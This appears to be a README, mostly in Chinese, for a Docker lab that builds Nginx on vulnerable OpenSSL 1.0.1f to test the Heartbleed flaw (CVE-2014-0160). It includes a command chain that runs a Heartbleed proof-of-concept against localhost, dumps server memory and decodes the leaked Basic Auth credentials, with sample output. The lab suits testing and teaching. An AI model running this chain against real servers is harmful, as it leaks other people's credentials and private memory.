
Dockerfile for testing CVE-2014-0160 Heartbleed exploitation.
该仓库包含 Nginx 的 Dockerfile,其中使用了存在漏洞的 OpenSSL 版本 (1.0.1f),用于测试 CVE-2014-0160 Heartbleed 漏洞。
安装 Docker
apt-get install -y docker从公开的 Docker Hub Registry 下载 debian 基础镜像:
docker pull debian:latest
根据 Dockerfile 构建镜像:docker build -t heartbleed_nginx_img .
docker run -i -t -p 1500:443 heartbleed_nginx_img
下载 Heartbleed-poc Python 脚本(仅用于测试目的!)。此版本由 Jared Stafford [email protected] 修改而来。 感谢 SensePost 提供此脚本。
在当前终端中打开两个新标签页并运行以下命令:
第一个标签页(使用 curl 命令通过 HTTP Basic Auth 生成 x100 个 GET 请求):
for loop in {0..100..1}; do curl -X GET -s -i -k -u admin:myP@ssword0MG https://127.0.0.1:1500| grep -E "200"; done
HTTP/1.1 200 OK HTTP/1.1 200 OK HTTP/1.1 200 OK HTTP/1.1 200 OK 片段...
第二个标签页(生成 x100 个心跳请求(-n 100),将内存转储写入 "dump.bin" 文件,然后从内存转储中提取 "Authorization" 字段的结果,最后将 Base64 结果字符串解码为明文 ^^):
python heartbleed-poc.py -f dump.bin -q -n 100 -p 1500 127.0.0.1 && grep -a "^Authorization:" dump.bin | head -n1 | awk -F " " '{print $3}' | tr -d '\n\r' | base64 --decode && echo
WARNING: server 127.0.0.1 returned more data than it should - server is vulnerable! ... received message: type = 22, ver = 0302, length = 66 ... received message: type = 22, ver = 0302, length = 925 ... received message: type = 22, ver = 0302, length = 331 ... received message: type = 22, ver = 0302, length = 4 ... received message: type = 24, ver = 0302, length = 16384 WARNING: server 127.0.0.1 returned more data than it should - server is vulnerable! 片段... admin:myP@ssword0MG